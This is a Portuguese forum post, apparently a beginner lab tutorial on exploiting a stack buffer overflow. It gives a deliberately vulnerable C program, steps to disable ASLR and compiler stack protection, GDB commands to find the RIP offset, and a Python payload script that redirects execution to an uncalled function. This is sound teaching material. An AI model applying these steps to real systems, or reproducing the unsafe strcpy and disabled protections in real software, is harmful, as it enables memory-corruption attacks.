Ir para conteúdo

0xdutra

Membros
  • Postagens

    1
  • Registro em

  • Última visita

  • Dias Ganhos

    2

0xdutra venceu a última vez em Julho 21 2021

0xdutra tinha o conteúdo mais apreciado!

Últimos Visitantes

267 visualizações

Conquistas de 0xdutra

2

Reputação

  1. Neste exemplo, vou utilizar um binário compilado para x86_x64. Porém, o mesmo exemplo pode ser reproduzido num ambiente x86, basta prestar atenção nos registradores. Antes de iniciarmos, desabilite o ASLR. sudo su - echo 0 > /proc/sys/kernel/randomize_va_space Código fonte Crie um arquivo main.c com o código abaixo. #include <stdio.h> #include <string.h> #include <stdlib.h> int copytobuffer(char *input) { char buffer[15]; strcpy(buffer, input); return 0; } void letsprint() { printf("0xdutra.com"); exit(0); } int main(int argc, char *argv[]) { copytobuffer(argv[1]); return 0; } Repare que nosso programa não chama a função letsprint em nenhum momento. Vamos chamar ela atráves da exploração do buffer overflow. Compilando o binário Para compilar, vamos utilizar o GCC, caso não o tenha instalado, rode sudo apt install gcc. gcc -fno-stack-protector -z execstack main.c -o main Exploração A exploração é bem simples, só precisamos controlar a execução do registrador RIP. também conhecido como EIP em ambientes x86. o RIP é o registrador responsável por controlar a próxima instrusão que será executada pela CPU. Vamos utilizar o GDB para analisarmos o binário, caso não o tenha instalado, rode sudo apt install gdb. gdb -q main Agora, vamos precisar encontrar a quantidade de bytes necessário para sobreescrever os registradores até chegarmos no RIP. Como não estamos utilizando nenhuma ferramenta de fuzzing, o processo vai ser bem manual, aconselho você começar a partir dos 20 bytes, visto que nosso buffer possui 15 bytes de tamanho. Com o gdb aberto, rode o comando abaixo. run `perl -e 'print "A" x 20'` No meu caso, não foi o suficiente para sobreescrever o RIP, porém, conseguimos sobreescrever o RBP, isso signifca que estamos indo para o caminho certo, vamos aumentar mais alguns bytes. Novamente, com o gdb aberto, rode o comando abaixo. run `perl -e 'print "A" x 23'` Olha que interessante, achamos a quantidade exata de bytes para começar a escrever dados no registrador RIP, veja que ele está apontando para um byte nulo. Agora, podemos colocar qualquer coisa no registrador. Testando o controle do registrador. run `perl -e 'print "A" x 23 ; print "B" x 6'` Veja que agora no RIP aponta para um endereço x4242…que são exatamente os 6 bytes ‘B’ que colocamos no registrador. Descobrindo o endereço da função Continuando no GDB, vamos precisar descobrir o endereço da função que vamos colocar no RIP para ser executada. Utilize o comando abaixo. disass letsprint No meu caso, o endereço de memória do início da função letsprint é o 0x000055555555517b. Em outro terminal, criei um arquivo memory.py e cole o conteúdo abaixo. #!/usr/bin/python from struct import * buffer = b'' buffer += b'a' * 23 buffer += pack("<Q", 0x000055555555517b) f = open("input.txt", "w+") f.write(buffer) f.write('\n') Lembra-se de trocar o endereço 0x000055555555517b pelo endereço que você encontrou. Execute o comando python memory.py, um arquivo input.txt será criado no diretório que você está. Agora, no gdb, execute o comando abaixo. run $(cat input.txt) Veja que a função letsprint foi executada com sucesso. Agora, vamos sair do gdb e executar o programa que compilamos. quit Agora ./main $(cat input.txt) Referências Hacking - The Art of Exploitation (Jon Erickson)
×
×
  • Criar Novo...